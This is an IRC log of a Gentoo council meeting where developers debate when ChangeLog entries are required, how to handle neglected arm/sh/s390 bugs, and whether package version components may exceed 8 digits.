+20:45 -!- Irssi: #gentoo-council: Total of 88 nicks [8 ops, 0 halfops, 3 voices, 77 normal]
+20:46 <    araujo+> ok, good
+20:46 -!- mode/#gentoo-council [-v araujo] by dberkholz
+20:46 -!- mode/#gentoo-council [+m] by dberkholz
+20:46 < dberkholz@> next topic: slacker archs [vapier]. solar, don't suppose you've got any updates from him?
+20:47 <     solar+> He did not make me aware of that topic.
+20:47 < dberkholz@> ok
+20:47 < dberkholz@> nothing new then, and let's proceed to the new topics
+20:47 <     jokey@> was there any "preview" of what he worked on?
+20:48 < dberkholz@> not that i know of
+20:49 < dberkholz@> next topic: "When are ChangeLog entries required?"
+20:49 < dberkholz@> my opinion is "always"
+20:50 < FlameBook+> always for me too
+20:50 <     jokey@> same here though there is this special changelog in profiles
+20:50 <     solar+> that is an interesting topic and I would say the same. but I know the guy that I'm proxing for is the biggest offender of that
+20:50 < dberkholz@> with a possible exception for when you're changing the changelog itself in minor ways
+20:50 <Betelgeuse@> Or when rewerting a commit.
+20:50 <     jokey@> Betelgeuse: imho even that should be noted
+20:51 <     solar+> For sure when you touch a package that does not list you in the metadata.xml
+20:51 <Betelgeuse@> jokey: Useless noise if it never reaches rsync
+20:51 < dberkholz@> on the other side, many people think that stabilization entries in changelogs are just adding spam
+20:51 < dberkholz@> do they provide useful information, and is it worth the additional space?
+20:51 < FlameBook+> dberkholz: good reason to keep them: you want to know when a package was stabilised last
+20:51 <     solar+> it might but as a maintainer it gives me an idea of when XYZ arch marked pkg stable.
+20:51 < FlameBook+> and by who
+20:52 <      amne@> i think it's useful, so always++
+20:52 <Betelgeuse@> dberkholz: They are more useful for maintainers than users.
+20:52 <Betelgeuse@> But useful any wa.
+20:52 < FlameBook+> let's remember that cvs history needs network access to work
+20:52 < FlameBook+> if we had the full history locally, I'd be more likely not to push for always always always, but for now...
+20:53 <     jokey@> indeed, just go with "always" and be done
+20:56 < dberkholz@> i'm going to open the floor, a few people have things to say
+20:56 -!- mode/#gentoo-council [-m] by dberkholz
+20:56 <      amne@> had some network fuckup myself earlier ;-)
+20:57 <      amne@> oops
+20:57 <  ColdWind > just want to agree with all of you: stabilization entries are useful to me both as package maintainer and AT
+20:57 < Blackb|rd > always++
+20:57 <      amne@> and that was another network fuckup, sorry
+20:57 <    fmccor > As long as there is something called ChangeLog present, it seems to me that I should expect it to show some indication of all changes.
+20:57 < Blackb|rd > Also, stabiliziation entries should be filterable with a small amount of regex work.
+20:57 <     jokey@> anyone objections to "always" ?
+20:58 < FlameBook+> we _could_ generate the changelog out of cvs
+20:58 <    fmccor > And even when just marking something stable, I add a bit more information to the changelog.
+20:58 <   antarus > I object wholly to the stating of the question
+20:58 < dberkholz@> amne: can you stop swearing please, we're in the middle of a meeting here...
+20:58 <   antarus > I think the opposite question is better ;P
+20:58 <  ColdWind > jokey: just that you'll have to make the decision effective
+20:58 < FlameBook+> I know I can easily generate it from svn through a modified svn2cl, not sure about cvs though, it doesn't export it as xml
+20:58 <      leio > there are things like "Fix whitespace", removal of ancient redundant versions that can spam quite a bit with the removal notice on lots of patches that have been incorporated, and so on
+20:59 <     jokey@> ColdWind: I'd be willing to hack up a watcher for commits mailinglist or do it myself
+20:59 <      amne@> dberkholz: sorry, that was from a /msg and went into here because my connection died appearently
+20:59 <   antarus > it is impossible to enumerate all the cases where a changelog is required and trivial to enumerate the cases where one is not required
+20:59 <   antarus > well not impossible, but difficult
+20:59 < FlameBook+> leio: removal of a version is something _users_ might want to know about...
+20:59 <  ColdWind > jokey: actually I was talking about vapier following the decison
+20:59 <   antarus > ColdWind: enforcement is a different issue no?
+21:00 <      leio > it's gone from the filesystem, so common sense says it was removed
+21:00 < FlameBook+> leio: why? by who? was there a good reason? and so on...
+21:00 < FlameBook+> at least I tend to say why I remove something _especially_ if it's ancient
+21:00 <  ColdWind > antarus: yes (and here ends my flooding)
+21:01 < FlameBook+> if it's just not a stable candidate I can see it not to be so useful, but that's a minimum amount of messages
+21:02 <   impulze > what about the size of the tree especially when you consider tons of packages with huge changelogs? will older entries vanish from the file from time to time?
+21:02 < FlameBook+> do we have an estimate of how much space do changelog take?
+21:03 <   antarus > we can look
+21:03 <   antarus > someone want to volunteer or am I doing it? :)
+21:03 <   astinus > you just volunteered.
+21:03 <     jokey@> you do it (tm)
+21:04  *  antarus cvs ups
+21:04 < Blackb|rd > 753<
+21:04 <   impulze > or probably just keep changelogs for active ebuilds in the tree which would then of course not show why a package was removed
+21:04 < Blackb|rd > er M
+21:04 < Blackb|rd > (generated from find . -name Changelog|xargs du -h)
+21:04 <   armin76 > lol
+21:04 <   armin76 > really? how much is the full tree?
+21:04 < FlameBook+> reasons for package removal can be found on the mailinglists that's another problem entirely
+21:05 <   astinus > armin76: about that.
+21:05 < Blackb|rd > armin76: erm. 753M.
+21:05 <     jokey@> though where I'm willing to make a cut is "old" history
+21:05 < Blackb|rd > There's something amiss :)
+21:05 <     jokey@> like if the changelog grows beyond 100kb, gzip the overlapping part
+21:05 <     jokey@> (or any other size value we can come up with)
+21:05 < Blackb|rd > armin76: ChangeLog, not Changelog.
+21:06 < dberkholz@> i got 52M
+21:06 < Blackb|rd > 75.9M
+21:06 <      leio > basically the cause of raising this was that stabilizations don't get noted and maintainers, arch testers and the users of that arch might want to see it, so there seems to be a reason to have them noted - maybe arguably. I don't know why some trivial thing is useful to someone to see in ChangeLog and they can clutter the useful things indeed as for example vapier also believes. The problem is that own judgments are made on what should be there
+21:06 <      leio >  and what not, making it all inconsistent
+21:06 < dberkholz@> from this: find /usr/portage/ -name ChangeLog | xargs du -b | awk 'BEGIN { TOT=0 } { TOT += $1 } END {print TOT}'
+21:07 <   impulze > yeah so it's pretty "big" already
+21:07 <  ColdWind > and that's collaterally related to arches not dealing with arch bugs
+21:07 < FlameBook+> dberkholz: full size of your tree?
+21:07 < FlameBook+> [please note that most of those changelog wouldn't take up _less_ space if they where shorten most likely, it depends on your blocksize]
+21:07 <Betelgeuse@> leio: The only one I am aware of that doesn't record stuff to ChangeLog is vapier.
+21:07 < Blackb|rd > dberkholz: you're right. I shouldn't do public shellscripting
+21:07 <   astinus > dberkholz: find . -iname 'ChangeLog' -type f | xargs du -bhc
+21:08 <   astinus > dberkholz: 3.2MB?
+21:08  *     welp wants to be like vapier and not make changelog entries
+21:08 <     jokey@> anyway, "always" still holds, doesn't it?
+21:08 <      leio > I admit that I sometimes don't record removals of things when they are really ancient and no-one should have been using them for a long time already.
+21:08 < Blackb|rd > astinus: du gets called multiple times
+21:08 <    fmccor > leio, I always note any change, and if I look at a ChangeLog, I want to see a track of all changes, whatever they are.
+21:08 <      amne@> jokey: yeah, seems block size eats more than the actual changelogs
+21:08 <   antarus > so to be fair
+21:08 <   impulze > astinus: that's for the last directory
+21:08 <   antarus > if you want it to happen all the time
+21:09 <      leio > I also don't see whitespace fixes being noted in ChangeLogs, and other things (I haven't done research to bring more examples)
+21:09 <   antarus > you should automate it]
+21:09 <      amne@> jokey: but that's another issue
+21:09 <   antarus > because people are fallable
+21:09 <   lu_zero@> I'd keep the current behaviour and avoid changelogs if we switch to something saner
+21:09 <   astinus > impulze: well, its for the last invocation of du, which isn't necessarily the last directory =)
+21:09 <      welp > i just have a little script which updates the changelog with whatever my repoman commit message is
+21:09 <   impulze > astinus: true
+21:09 <   impulze > yeah the format of the changelog should be clear and specified so one can extract information out of it
+21:09 <     jokey@> lu_zero: ++ on that
+21:09 < FlameBook+> welp: I suppose we all have it, just need to call echangelog before the commit :P
+21:10 <   astinus > welp: maybe you should loan that script to vapier? ;)
+21:10 <   lu_zero@> would be nicer have a stock one in gentoolkit
+21:10 <      welp > or even make changelog updates a part of repoman commit?
+21:10 < FlameBook+> lu_zero: sincerely, it's a two-lines function, do you need a script?
+21:10 <  ColdWind > being realistic and pragmatic, is ChangeLog size related to vapier not using it? I don't think so, so that's OT
+21:10 <      welp > but keep echangelog available for the profiles/ Changelog
+21:10 < FlameBook+> see what welp just said is something interesting
+21:10 <     eroyf > that's what inops is supposed to do as well
+21:10 < dberkholz@> this doesn't really seem to be going anywhere
+21:10 <     eroyf > if i ever finish it
+21:11 <   lu_zero@> Flameeyes I need to have it somewhere just in case
+21:11 <     jokey@> dberkholz: ++, move on
+21:11 <      leio > he doesn't put stabilizations in ChangeLog on purpose on his own judgment of it cluttering the ChangeLog with "useless" information. He has scripts to do most of it already, but I feel a bit uncomfortable paraphrasing him here like that.
+21:11 < FlameBook+> lu_zero: man echangelog then
+21:11 <      amne@> dberkholz: agreed. i think we talked about what we should talk and agreed on that
+21:11 <   antarus > 'always' :)
+21:11 <      welp > no-one's discussing my idea
+21:11 <      welp > pfft.
+21:11  *     welp goes to sleep, gnight folks
+21:12 <      leio > (back to own judgments - I want to see consistency and enforcement and dealing with any complaints that might raise)
+21:12 <      amne@> welp: it's beyond what we should discuss here imo. sleep well :-)
+21:12 <      amne@> so, shall we move on?
+21:12 < dberkholz@> ok, we've made this decision
+21:12 < dberkholz@> i'd like if the QA people would help enforce it
+21:13 < dberkholz@> if not, we'll have to consider what to do ourselves
+21:13 <     jokey@> yup, I volunteer if QA is not in the mood
+21:13 <      amne@> sounds good (both what dberkholz and jokey said)
+21:14 < FlameBook+> fine
+21:14 -!- mode/#gentoo-council [+m] by dberkholz
+21:14 < dberkholz@> next topic: Can the council help fewer bugs get ignored by arm/sh/s390 teams?
+21:14 -!- Irssi: #gentoo-council: Total of 89 nicks [8 ops, 0 halfops, 2 voices, 79 normal]
+21:15 < dberkholz@> the work happens, but apparently it's not communicated to anyone and
+21:15 <     jokey@> unless it gets more hardware to test with, highly unlikely
+21:15 < dberkholz@> has no relationship to whether bugs are open
+21:15 <   lu_zero@> how many people are working on it?
+21:15 < dberkholz@> is anyone besides vapier working on any of those?
+21:15 <     solar+> the arm team afaik is only vaiper. I help out where I can. There has been requests by users in embedded to see arm be an officially supported arch. But the workload there is nearly unfeasible
+21:15 <     jokey@> we have an external "bug contributor", me occasionally when I update my devices and vapier for arm
+21:16 <     jokey@> for the rest, no idea
+21:16 <   lu_zero@> solar so till we don't have more people working on it
+21:16 < FlameBook+> as I said before opening, I have a board dusting around, I haven't set it up yet but I might try soon enough
+21:16 <   lu_zero@> I think we cannot do any better
+21:16 <     jokey@> okay, solar then as well but that's it
+21:16 < dberkholz@> should these arches have stable keywords?
+21:17 <   lu_zero@> I think it's up to vapier
+21:17 < FlameBook+> on my packages they don't disrupt stabilisation too much, sincerely
+21:17 <     solar+> yes. there are some pkgs in ~arch that are not stable. While others are. If arm is making other developers lives harder it would be great if we could start seeing bugs
+21:17 <     jokey@> dberkholz: I think so, as unstable breaks there lovely. otherwise we have to hack around with profiles which would be rather messy
+21:17 < dberkholz@> bugz search -a arm@ --cc=arm@
+21:18 < dberkholz@> shows a nice long list of ~175 bugs
+21:18 < dberkholz@> x11 on the other hand only has ~180. =)
+21:19 <     solar+> yeah. But if you want me to go hog wild. I can give you another 80 bugs for x11 that would make life eaiser for arm ppl.
+21:19 <     jokey@> solar: what about assigning them to embedded with arches in CC?
+21:20 <     solar+> most of the arm word is done via cross-compiles vs native compiles due to the speed.
+21:20 < dberkholz@> the problem seems to not be the number of open bugs, but the inconsistency between open bugs and reality
+21:20 <     jokey@> then it's out of the common bugmail stuff
+21:20 <     solar+> jokey: while that might make some sense. I'd like to focus for now on things I'm actually doing. The embedde team is pretty much the same thing as the arm team
+21:22 <   lu_zero@> ok
+21:22 <     jokey@> dberkholz: maybe we should talk with our bug wranglers to make sure the first part in the summary is always the package name, that way tracking that would be easy
+21:23 <     jokey@> or add one of the user values in bugzilla for that
+21:23 <     jokey@> (unless I'm mistaken bugzie offers such stuff)
+21:23 < dberkholz@> basically i think we need to figure out what vapier's workflow is (and other extremely underpowered arch teams) and see if there's anything we can improve
+21:24 < dberkholz@> just randomly discussing things isn't likely to get us far, i think
+21:24 <     jokey@> anyway not much we can do here without him being around
+21:25 <   lu_zero@> ok let's ask him later
+21:25 <   lu_zero@> next topic?
+21:25 <     jokey@> yup, all for it
+21:25 < dberkholz@> we haven't had open floor
+21:25 <     solar+> dberkholz: I can tell you that one of the biggest problems we have is either devs with a lack of hardware and a lack of interest in working on slow arches.
+21:25 < dberkholz@> if anyone has anything to say, drop me a quick query
+21:26 < FlameBook+> solar: and bad support for crosscompile with the current way ebuilds are specified
+21:26 < FlameBook+> missing a BDEPEND/TDEPEND/WHATEVERYOUCALLITDEPEND for CBUILD tools
+21:26 <     solar+> mostly libtool getting things wrong
+21:26 <     solar+> and portage feature/behavior changes
+21:26 < FlameBook+> and libtool getting things wrong becaus of .la files
+21:26 <   lu_zero@> eh
+21:26 < FlameBook+> and pkg-config that is not built for CTARGET by crossdev (I want to tackle this down)
+21:26 <     jokey@> getting OT here, let's just move on
+21:26 < FlameBook+> jokey: agreed
+21:27 <   lu_zero@> I'd push this on the last open floor
+21:27 < dberkholz@> leio noted that improving recuitment efforts (perhaps just a better description on the staffing needs) could help
+21:28 < dberkholz@> with that, let's move on
+21:28 < dberkholz@> next topic: "PMS: Are versions allowed to have more than 8 digits?"
+21:29 -!- Irssi: #gentoo-council: Total of 88 nicks [8 ops, 0 halfops, 2 voices, 78 normal]
+21:29 <   lu_zero@> do we have some backgrounds on why this limit had been set?
+21:29 <     jokey@> if I recall it correctly, this limitation is something wrt [ ] vs [[ ]]
+21:29 -!- mode/#gentoo-council [+vv ferringb zmedico] by dberkholz
+21:29 < dberkholz@> any paludis devs here to speak?
+21:29 <     solar+> 32bit ints is the problem there I think.
+21:29 <   lu_zero@> anybody from the involved party could shed some light on the issue?
+21:30 <  ferringb+> two limitations
+21:30 < dberkholz@> or other tools this limit affects?
+21:30 -!- mode/#gentoo-council [+v ferdy] by Betelgeuse
+21:30 <  ferringb+> ints, and floats.
+21:30 <  ferringb+> (0.000000000000001)
+21:30 -!- mode/#gentoo-council [+v ferdy] by dberkholz
+21:30 < dberkholz@> ferdy's voiced for paludis
+21:30 <Betelgeuse@> zmedico said that using a Portage version with 8 digit limitations would break in other ways with the current tree when I asked
+21:31 <     ferdy+> recent portage is fine from what we've checked, paludis and eix are ok too
+21:31 <     solar+> portage handles big ints fine.
+21:31 <     ferdy+> portage-utils don't (last I checked)
+21:31 <     solar+> that is correct. Fixable but afaik only a few pkgs in the tree require the need
+21:32 <   lu_zero@> ferringb ?
+21:33 <     jokey@> (afaik he's in a meeting atm, hence slower response times)
+21:33 <     ferdy+> if the limit is to stay it should be enforced, otherwise, portage-utils should be either fixed or marked as unsupported
+21:33 <  ferringb+> jokey: in between 'em atm.  pkgcore is fine, was the first to be...
+21:33 <  ferringb+> portage itself has problems there.
+21:34 <  ferringb+> give me a second, looking at the version comparison logic for floats (portage/versions.py around line 75)
+21:34 <     solar+> ferdy: yeah I said it's fixable. But I'm not a fan of having to change to longs. It will make atom handling slower.
+21:34 <   zmedico+> ferringb: portage uses all strings and ints so it's fine
+21:35 <     ferdy+> solar: *nod*
+21:35 <     solar+> but then the next limit for it would be 16 or so on 32bit arches.
+21:36 <  ferringb+> zmedico: the float comparison logic there is broke offhand
+21:36 <     solar+> sorry maybe thats long long that is required.
+21:36 <  ferringb+> zmedico: try 0.01 vs 0.1.
+21:36 < FlameBook+> solar: let's call it uint64_t :)
+21:36 <     solar+> FlameBook: patches welcome :)
+21:36 <  ferringb+> either way, technically it'll support long long there, just doesn't do the float comparison rules...
+21:36 < dberkholz@> my basic philosophy here is that the package manager shouldn't get in the way of the packagers, so if >8 makes some packages easier, it should be allowed
+21:37 < dberkholz@> what's using >8 now?
+21:37 <     solar+> dberkholz: gradm
+21:37 <     ferdy+> net-tools
+21:37 <     jokey@> afaik mplayer was one of them, not sure though
+21:38 <     solar+> gradm-2.1.11.200804142058 (YYYY/MM/DD/HH/MIN) and to change the logic would be a real pita
+21:39 < dberkholz@> sys-process/fuser-bsd
+21:39 < dberkholz@> sys-apps/net-tools
+21:39 < dberkholz@> sys-apps/gradm
+21:39 < dberkholz@> net-im/ntame
+21:39 < dberkholz@> media-video/captury
+21:39 < dberkholz@> media-libs/libcaptury
+21:39 < dberkholz@> media-libs/capseo
+21:39 < dberkholz@> sys-block/btrace
+21:39 < dberkholz@> www-apache/mod_depends
+21:39 < dberkholz@> net-wireless/rt2500
+21:39 < dberkholz@> sys-fs/unionfs
+21:39 < dberkholz@> those all have 9 or more numbers in a row
+21:40 < dberkholz@> anyone have something more to add before we open the floor for discussion prior to the vote?
+21:40 <     solar+> so clearly we can see developers have legit reasons for using more than 8 numerics in a row. And we can see the advantage of limiting it to 8.
+21:41 <   lu_zero@> solar splitting the value is that problematic for devs?
+21:41 < dberkholz@> solar, ferdy: i don't suppose you have any idea what the magnitude of performance loss is when going from int to long
+21:41 <   lu_zero@> and vice-versa
+21:42 <     ferdy+> dberkholz: such a comparision has never showed up in any of my profiles, so I'd say 0 in a package manager
+21:42 <  ferringb+> dberkholz: why would it matter?  this isn't exactly the hotspot of any package manager...
+21:42 <     ferdy+> also, versionator.eclass doesn't handle it properly either
+21:42 <  ferringb+> ferdy: versionator has a few other bugs iirc anyways
+21:43 <     solar+> dberkholz: I think it's the 32bit arches that would take the biggest hit there at the low level. sending 2x as much data over the bus as required for every lookup.
+21:43 < dberkholz@> ferringb: solar expressed a concern about portage-utils ... 
+21:43 <  ferringb+> parsing is going to cost more then int -> long conversion
+21:43 <     ferdy+> ferringb: I don't follow....
+21:43 <     solar+> I don't mind changing portage-utils. Thats pretty easy
+21:43 <     ferdy+> ferringb: I mean, fine, it has more bugs. But it is also kind of irrelevant to what is being discussed (the 8 digit limit)
+21:44 <  ferringb+> ferdy: saying it needs fixing anyways ;)
+21:44 <  ferringb+> so not really much of a blocker imo
+21:44 <     ferdy+> I'm not touching versionator myself.... the council can find someone to do it :)
+21:44 <   lu_zero@> brr
+21:44 <     ferdy+> but versionator should be fixed if the limit is to go
+21:46 < FlameBook+> if any of the packages using the then-extended limit needs versionator... as long as there is no need for versionator on those ebuilds it can be put in lower priority
+21:46 < dberkholz@> ok, let's open it up to see if anyone else has a new point
+21:46 -!- mode/#gentoo-council [-m] by dberkholz
+21:46 <     ferdy+> that's pretty fragile
+21:46 <     solar+> to go? afaik this has never been really discussed. Before opting to vote. Perhaps contacting the devs of the pkgs in question and asking for input from them might help in the council make an informed desision?
+21:47 <   lu_zero@> solar agreed
+21:47 <  ferringb+> dberkholz: anyone check into the [ ]/[[ ]] issue I mentioned?
+21:47 <     ferdy+> I meant to go away from PMS
+21:47 <  ferringb+> specifically when bash introduced the double bracket support?
+21:47 < dberkholz@> double brackets have been around since 2.05 at least, arrays were in 2.05
+21:48 <  ferringb+> 'k.  so... only downside to >8, is that any code using  [ ] goes boom w/ a large enough number.
+21:48 <       ulm > this is not exactly related to the package manager, but aren't version components with > 8 digits pretty difficult to read? what's the problem with splitting YYYYMMDDHHMM into YYYYMMDD.HHMM?
+21:48 <   lu_zero@> ulm none that I can see
+21:48 <   lu_zero@> but the devs managing that could tell us more
+21:49 <  ColdWind > ulm: that's really annoying with net-tools, when it comes to dates it's annoying, although it'd be nice to follow it if upstream does it
+21:49 <     solar+> ulm: that could probably be done. But then it does not exactly match upstream versioning and becomes a little ulgy to do all the parsing in the ebuilds to get SRC_URI right.
+21:49 < dberkholz@> ulm: slightly more annoying to have to parse that into SRC_URI
+21:49 < dberkholz@> ulm: particularly once they release 2008050816.1
+21:49 <Betelgeuse@> solar: we could write versionator functions for it
+21:49 <Betelgeuse@> solar: delete_version_separator N
+21:49 <    Cardoe > Betelgeuse: if you wanna maintain versionator...
+21:50 < Blackb|rd > Also note that 2^31 is 2147483648 (I suspect that that's the problem). Thats a signed 32-bit int. What's the problem with this? it's more than a hundred years in the future? Even more so for 2^32.
+21:50 < FlameBook+> dberkholz: remember to never let you choose a version number for anything ;)
+21:50 <    Cardoe > someone keeps trying to pawn versionator off on me.
+21:50 <       ulm > dberkholz: you parse it once and then you're done for that package
+21:50 <Betelgeuse@> There actually is one already.
+21:50 <  ColdWind > if you finally decide to remove the 8 eight limit... please, people should use common sense and don't use such annoying version if there's no good reason (e.g. upstream using that scheme)
+21:50 < dberkholz@> ulm: right, so you repeat this thing and add extra code for every package doing it instead of having native PM support
+21:50 < dberkholz@> ulm: that sounds like the tool getting in your way
+21:50 < Blackb|rd > Oh. H:M. nevermind me.
+21:51 <Betelgeuse@> So basically we could keep the 8 digit limit and make people use versionator too.l
+21:51 <Betelgeuse@> Or are there issues with that?
+21:51 <     ferdy+> it gets in the way of maintainers....
+21:51 < FlameBook+> Betelgeuse: slower?
+21:51 <     ferdy+> it is always better to use what upstream uses
+21:51 <   lu_zero@> I'd ask them first
+21:51 < FlameBook+> for once I'm agreeing with ferdy, I'd quite rather follow upstream
+21:51 -!- ajp is now known as Ida
+21:51 <     solar+> or dump the idea and continue down the existing path. Perhaps limiting it to uint64_t
+21:52 <       ulm > solar: how many digits is that?
+21:52 <     ferdy+> about 20 iirc
+21:53 <       ulm > well, 19 for unsigned and 18 for signed
+21:53 < Blackb|rd > ferdy: 20, yes
+21:54 <       ulm > Blackb|rd: 2^64 has 20 digits, but you can not represent all 20-digit numbers
+21:54 <   impulze > exactly
+21:54 <   impulze > the first one is dismissed
+21:54 < FlameBook+> portage-utils could probably just use string comparison for sorting to make it accept arbitrarily-sized values
+21:54 <   impulze > so it's 19 unsigned and 18 signed just as ulm said :)
+21:54 <     ferdy+> the only reason I see to have a limit here is to ease implementation
+21:55 < FlameBook+> and pkgcore/portage said above they use strings comparison
+21:55 < Blackb|rd > ulm: exactly.
+21:55 < FlameBook+> ferdy: I suppose paludis does/could use string comparison too?
+21:56 <     ferdy+> paludis supports an arbitrary long revision 'number', yes
+21:56 <     solar+> FlameBook: Re:strings. not going to do that to get the equiv of big ints.
+21:56 < FlameBook+> solar: I said could :)
+21:57 <   lu_zero@> still I'd set a sane limit
+21:57 < dberkholz@> ok, so there's 11 packages using >8 digits, and 0 packages using >18 digits. that seems to set a fairly good range where this is useful
+21:57 <   lu_zero@> dberkholz ++
+21:57 < FlameBook+> yeah and if we need to go over that and we have reasons to do that, we'll discuss it in the future
+21:57 <     solar+> so unsigned long long is the desired max limit?
+21:57 < FlameBook+> for now < 18 should be fine
+21:58 < dberkholz@> and 2 packages using 14 digits, those are the longest
+21:58 < FlameBook+> solar: uint64_t (I hate long/longlong)
+21:58 < dberkholz@> so i favor a 64-bit limit
+21:58 <     solar+> FlameBook: afaik. Don't you get into typecasting problems when trying to printf() on that
+21:58 <       ulm > FlameBook: I'd go for <= 18 to play it safe. then it fits into signed 64 bit
+21:59 <     solar+> where knowing ulong long will always be "%lu"
+21:59 < FlameBook+> solar: "this is a uint64_t: " PRId64 "\n"
+21:59 <     ferdy+> actually, the limit should be 18 digits and not a C type
+21:59 < dberkholz@> ferdy: expecting negative versions?
+22:00 <     ferdy+> I'm not, I just think it is more clear in a document like PMS
+22:00 < dberkholz@> (in other words, why not 19?)
+22:00 < FlameBook+> solar: for what it's worth, %lu has different size on 32-bit and 64-arches, stdint.h makes it explicit on the size
+22:00 <    fmccor > Someone did that once (smalleiffel)
+22:00 <     ferdy+> dberkholz: I'm fine with either, honestly :)
+22:00 < FlameBook+> fmccor: can we propose upstream sniping if that repeats?
+22:00 < dberkholz@> if we're effectively doing this to make things fit into 64 bits, we might as well take the biggest advantage of that as possible and go with <20
+22:01 <       ulm > dberkholz: noone is using > 14
+22:01 <    fmccor > FlameBook, They were counting up to the release at 0.0 (It's smarteiffel now).
+22:02 <     jokey@> I'm also for limiting it on something like 14 or so
+22:02 < FlameBook+> they got smart and stopped doing negative versions?
+22:02 <     jokey@> rest simply doesn't make sense
+22:02 <NeddySeago > Don't design it here
+22:02 <     solar+> FlameBook: well I'm all for patches. But dealing with full strings would be kinda ulgy+slow (think arm at runtime). We have a really nice/fast atom parser in portage-utils and I'd love to avoid slowing it down for cases which would probably never exist. (60+ digit etc..).
+22:02 < dberkholz@> ulm: what's the reason for creating an arbitrary restriction like 14, when your storage could hold more?
+22:02 <       ulm > dberkholz: and 19 doesn't work in bash
+22:02 <       ulm > 18 does
+22:02 < dberkholz@> ulm: what does work in bash, then
+22:03 <       ulm > ^^
+22:03 < dberkholz@> ok, presumably bash uses signed longs..
+22:03 < FlameBook+> solar: that's why I said we can discuss that _if_ the problem arises
+22:03 < FlameBook+> solar: and yeah I would expect it to be slow on RISC... x86 wouldn't probably be affected
+22:03 <       ulm > dberkholz: yep
+22:03 <   lu_zero@> anyway uint64_t is a good storage for now
+22:03 <  ferringb+> mmm.  pkgcore cpy extension probably has a limitation on rev range, although said limitation can be backed out easily enough
+22:04 < dberkholz@> the way i'd like to word this is <=18 digits, since someone's already mentioned that having a rule as a C datatype isn't the best..
+22:04 <   lu_zero@> fine
+22:04 < dberkholz@> date-based versions give 14 digits (yyyymmddhhmmss), and that leaves an additional 4 for whatever other weirdness they think up
+22:05 <     solar+> bash is written in c :)
+22:05 < dberkholz@> for example milliseconds
+22:05 <     solar+> unixtime etc.
+22:05 <  RobbieAB > For what it is worth, I think assumeing version numbers are positive is a bad idea, as it's an invitation for someone to do a negative version number... :)
+22:05 < dberkholz@> although i pray nobody does that
+22:05 <   astinus > dberkholz: yyyymmddhhmmss1337
+22:05 < dberkholz@> anyone got a new point, or are we ready to vote?
+22:06 <    fmccor > RobbieAB, As I mentioned, it's happened. :)
+22:06 <   astinus > dberkholz: I think RobbieAB makes a good point.
+22:06 < dberkholz@> we aren't making that assumption, actually... the reduction to <=18 allows for it in a 64-bit number
+22:06 < Blackb|rd > astinus: making them integers, asks for reals, making them reals asks for irrationals, irrationals asks for complex.
+22:07 <      leio > such long numbers should be heavily discouraged as noted before and not used without good reason (yyyymmddhhmmss isn't one)..
+22:07 < FlameBook+> Blackb|rd: complex?
+22:07 < Blackb|rd > astinus: just kidding ;)
+22:07 <   astinus > leio: We cannot influence upstream.
+22:07 < Blackb|rd > FlameBook: imaginary+real
+22:07 <     ferdy+> wait, are you suggesting '-r-91828383' ?
+22:07 < FlameBook+> Blackb|rd: I know what imaginary is...
+22:07 < FlameBook+> err complex is I meant
+22:07 <     solar+> that would never parse correctly anyway :)
+22:07 <   lu_zero@> =_=
+22:07 < FlameBook+> I meant what would they ask after that?
+22:07 <      leio > upstream using it is a good reason, our own snapshots unreadable like that without separators isn't (imho)
+22:07 <     ferdy+> solar: exactly my point
+22:07 <   lu_zero@> let's ignore the issue
+22:08 < Blackb|rd > FlameBook: don't look at me, I wouldn't do it, I'm just extrapolating
+22:08 < Blackb|rd > FlameBook: after complex? I dunno. Multidimensional vectors?
+22:08 < FlameBook+> Blackb|rd: non-arabic numeric systems?
+22:08 <     solar+> in version atoms?
+22:08 <   lu_zero@> =_=
+22:08 < Blackb|rd > FlameBook: nifty. roman numerals would be a nice challenge
+22:08 <   lu_zero@> let's stay sane
+22:08 < dberkholz@> portage-(2+3i,4+2i).ebuild
+22:08 <     ferdy+> ok, can we get this rolling?
+22:08 < Blackb|rd > lu_zero: ok.
+22:09 < FlameBook+> lu_zero: stay?
+22:09 <   lu_zero@> get
+22:09 <   astinus > We're way past the 2hr mark and the next topic will be heated. We seem to be getting away from the point too. The suggestion was <=18 and not to be more specific about implementation.
+22:09 <   lu_zero@> saner at least
+22:09 < FlameBook+> ferdy: D20 or D10?
+22:09 < dberkholz@> since nobody's really brought up anything new, let's vote
+22:09 < dberkholz@> remoderating
+22:09 <   lu_zero@> ok
+22:09 -!- mode/#gentoo-council [+m] by dberkholz
+22:09 -!- Irssi: #gentoo-council: Total of 88 nicks [7 ops, 0 halfops, 5 voices, 76 normal]
+22:09 -!- mode/#gentoo-council [-vvv ferdy ferringb zmedico] by dberkholz
+22:09 -!- Irssi: #gentoo-council: Total of 88 nicks [7 ops, 0 halfops, 2 voices, 79 normal]
+22:09 <     solar+> dberkholz: what i said till holds. I think there should be no such limitation put in place right now. As for a vote I think you should not vote till asking for input from all the authors of the ebuilds in question.
+22:09 <   lu_zero@> I'm fine with the 18 digits limits
+22:10 <   lu_zero@> and should be pretty much a sane upper bound
+22:10 <      amne@> what solar says makes sense
+22:10 <   lu_zero@> the switch between uint32 and uint64 shouldn't hit too much IMHO
+22:11 <     solar+> I can't stop at 18 but extending it past 8 would be fine..
+22:11 < dberkholz@> i looked at a number of those ebuilds, and they're all based on upstream versioning
+22:11 <      amne@> i don't think a vote is necessary right now
+22:11 <   lu_zero@> solar could you check the performance hit on small arches?
+22:12 <     solar+> lu_zero: I probably wont have time for that.
+22:12 <     solar+> but the eclass is what will see the biggest hit
+22:13 <   lu_zero@> solar ok
+22:13 < FlameBook+> I'm fine with extending to 18 for now and leaving open for the future to be discussed
+22:15 <      amne@> are we going to vote on anything right now? because i really have to go get some sleep, i'll have to get up again in 2.5 hours unluckily, so i cannot attend the meeting any longer (but hey, i was marked slacker anyway already)
+22:16 < dberkholz@> jokey apparently ran into computer difficulties
+22:16  *  lu_zero is almost asleep
+22:16 < dberkholz@> it might be reasonable to test the impact of the change in versionator before voting
+22:18 < dberkholz@> so we've got 3 options here, let's see where people stand on them
+22:19 < dberkholz@> 1) allow <=18 now. 2) keep at 8 digits. 3) further research with package maintainers and testing of the impact
+22:19 <Betelgeuse@> Well isn't versionator performance more of an issue with the cache generation machine?
+22:19 <Betelgeuse@> And it's not one of the slower arches.
+22:20 < dberkholz@> which options do you like, folks?
+22:20 < FlameBook+> I'm fine with 1 and 3
+22:20 < dberkholz@> 1 or 3 seem ok to me
+22:20  *     amne is for 3) and out now
+22:20 <   lu_zero@> same
+22:20 <   lu_zero@> 1 and 3
+22:20 < dberkholz@> we already know solar's for 3
+22:21 < dberkholz@> that makes 3 people for option-1, and 5 people for option-3
+22:23 <Betelgeuse@> Might as we well go with 3 but say that people can add new >8 if they need to.
